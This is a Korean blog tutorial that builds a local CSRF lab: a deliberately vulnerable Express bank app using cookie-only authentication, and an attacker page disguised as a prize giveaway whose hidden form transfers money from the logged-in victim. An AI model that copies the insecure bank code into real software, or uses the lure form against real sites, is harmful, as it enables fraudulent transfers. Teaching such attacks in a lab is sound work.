1. CRSF란?
CSRF(Cross-Site Request Forgery, 사이트 간 요청 위조)란
사용자가 인증된 권한의 데이터를 가지고 있는 상태에서 악의적인 웹사이트를 방문하면,
공격자가 사용자의 권한을 도용하여 서버에 원치 않는 요청을 보내는 공격이다.
2. CRSF 공격 사이트 실습 사이트 생성
2-1. bank사이트 생성
mkdir csrf_bank
cd csrf_bank
npm init -y
npm install express cookie-parser body-parser
먼저 bank 사이트를 만든다.
이 bank는 농협, 옥션, 네이버 등 사용자가 회원가입을 하고 계좌에 대한 정보를 입력하는 유명한 플랫폼이 될 것이다.
bank.js 생성
const express = require('express');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const path = require('path');
const app = express();
app.use(cookieParser());
app.use(bodyParser.urlencoded({ extended: true }));
// 📌 정적 파일 제공 (index.html을 위한 설정)
app.use(express.static(path.join(__dirname, 'public')));
// 사용자 계좌 정보 (테스트용)
const users = {
'user': { account: '1234567890', password: '1234', balance: 1000000 },
};
// ✅ 로그인 API - 쿠키 발급
app.post('/login', (req, res) => {
const { username, password } = req.body;
if (!users[username] || users[username].password !== password) {
return res.status(401).send('❌ 로그인 실패');
}
// 세션 쿠키 발급 (CSRF 방어 없음)
res.cookie('session_id', username, { httpOnly: true, secure: false });
res.send('✅ 로그인 성공! 쿠키가 설정되었습니다.');
});
// ✅ 계좌이체 API - CSRF 방어 없음 (공격 가능)
app.post('/transfer', (req, res) => {
const session_id = req.cookies.session_id;
if (!session_id || !users[session_id]) {
return res.status(401).send('❌ 로그인이 필요합니다.');
}
const { to, amount } = req.body;
const sender = users[session_id];
if (!to || isNaN(amount) || sender.balance < amount) {
return res.status(400).send('❌ 잘못된 요청 또는 잔액 부족');
}
sender.balance -= Number(amount);
res.send(`✅ 계좌 ${sender.account}에서 ${to}로 ${amount}원이 송금되었습니다.`);
});
// ✅ 잔액 조회 API
app.get('/balance', (req, res) => {
const session_id = req.cookies.session_id;
if (!session_id || !users[session_id]) {
return res.status(401).send('❌ 로그인이 필요합니다.');
}
res.send(`💰 현재 잔액: ${users[session_id].balance}원`);
});
// ✅ `/` 경로로 접근하면 `index.html` 제공
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});
// 서버 실행
app.listen(30000, () => {
console.log('💰 Bank 서버 실행 중: http://localhost:30000');
});
public/index.html 생성
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>💰 은행 시스템</title>
<style>
body { font-family: Arial, sans-serif; max-width: 500px; margin: 20px auto; text-align: center; }
input, button { margin: 10px; padding: 8px; width: 80%; }
button { cursor: pointer; }
</style>
</head>
<body>
<h2>🏦 은행 로그인</h2>
<input type="text" id="username" placeholder="아이디 (user)">
<input type="password" id="password" placeholder="비밀번호 (1234)">
<button onclick="login()">로그인</button>
<h2>💰 잔액 조회</h2>
<button onclick="checkBalance()">잔액 확인</button>
<p id="balanceResult"></p>
<h2>💸 계좌 이체</h2>
<input type="text" id="toAccount" placeholder="받는 사람 계좌">
<input type="number" id="amount" placeholder="이체 금액">
<button onclick="transfer()">송금</button>
<p id="transferResult"></p>
<script>
function login() {
const username = document.getElementById("username").value;
const password = document.getElementById("password").value;
fetch("http://localhost:30000/login", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: `username=${username}&password=${password}`,
credentials: "include" // 쿠키 자동 저장
})
.then(response => response.text())
.then(data => alert(data));
}
function checkBalance() {
fetch("http://localhost:30000/balance", {
method: "GET",
credentials: "include" // 로그인한 쿠키 사용
})
.then(response => response.text())
.then(data => document.getElementById("balanceResult").innerText = data);
}
function transfer() {
const to = document.getElementById("toAccount").value;
const amount = document.getElementById("amount").value;
fetch("http://localhost:30000/transfer", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: `to=${to}&amount=${amount}`,
credentials: "include" // 쿠키 자동 전송
})
.then(response => response.text())
.then(data => document.getElementById("transferResult").innerText = data);
}
</script>
</body>
</html>
서버 실행
node bank.js
2-2. attacker 사이트 생성
다음은 CRSF공격 사이트를 생성한다.
농협, 옥션과 같은 플랫폼에서 데이터를 훔쳐와 사용자의 계좌에서 돈을 빼내는 역할이다.
mkdir csrf_attacker
cd csrf_attacker
npm init -y
npm install express
attacker.js 생성
const express = require('express');
const path = require('path');
const app = express();
// 📌 정적 파일 제공 (공격 페이지)
app.use(express.static(path.join(__dirname, 'public')));
// 공격 페이지 제공
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});
// 서버 실행
app.listen(40000, () => {
console.log('😈 Attacker 서버 실행 중: http://localhost:40000');
});
public/index.html 생성
<!DOCTYPE html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>🎉 무료 이벤트 당첨! 🎉</title>
</head>
<body>
<h1>🎁 축하합니다! 🎁</h1>
<p>이벤트에 당첨되었습니다! 클릭하면 10만 원이 입금됩니다.</p>
<form id="attackForm" action="http://localhost:30000/transfer" method="POST">
<input type="hidden" name="to" value="9876543210">
<input type="hidden" name="amount" value="100000">
</form>
<button onclick="document.getElementById('attackForm').submit();">이벤트 수령</button>
</body>
</html>
서버 실행
node attacker.js
3. CRSF 공격 실습
시나리오:
1. 사용자가 은행에 접속해서 계좌이체를 실행
2. 사용자는 어쩌다 공격자의 사이트를 방문
3. CRSF 공격을 당함
1. 먼저 bank에 로그인한다. (user/1234)
2. 계좌를 조회한다.
3. 계좌로 누군가에게 송금한다.
4. 계좌 잔액을 다시 확인한다.
[Network]을 통해 Cookie값 필요 파라미터를 확인할 수 있는데,
이런 식으로 유추를 하거나, 이외의 스니핑 같은 해킹기술로 취약점을 파악할 수 있는데,
해당 코드는 cookie만 존재하면 송금을 할 수 있다는 취약점이 있다.
아래와 같이 attacker 사이트(40000 port)에서 bank(30000 port)로 request를 날리게 되면,
cookie는 사용자 컴퓨터에 저장되어 있으니 실행이 되는 것이다.
5. 피싱사이트 접속하여 원치 않는 요청 실행
6. 계좌 다시 확인
결론은 CRSF 공격이란 쿠키를 기반 인증의 취약점을 파악하고, 사용자가 원치않는 요청을 실행하는 것이다.
'0. 이론' 카테고리의 다른 글
[이론] 파일에서 Container와 Codec 관계 (0) | 2025.03.12 |
---|---|
[이론] 디지털 오디오 (Samplate & Bit depth) (0) | 2025.03.12 |
[이론] 동영상 구조 파악 1 (feat. ftyp) (0) | 2025.02.28 |
[이론] 동영상 구조 파악 0 (feat. mp4) (0) | 2025.02.19 |
NodeJS Event Loop 동작 원리 (feat. process.nextTick) (0) | 2024.03.30 |
댓글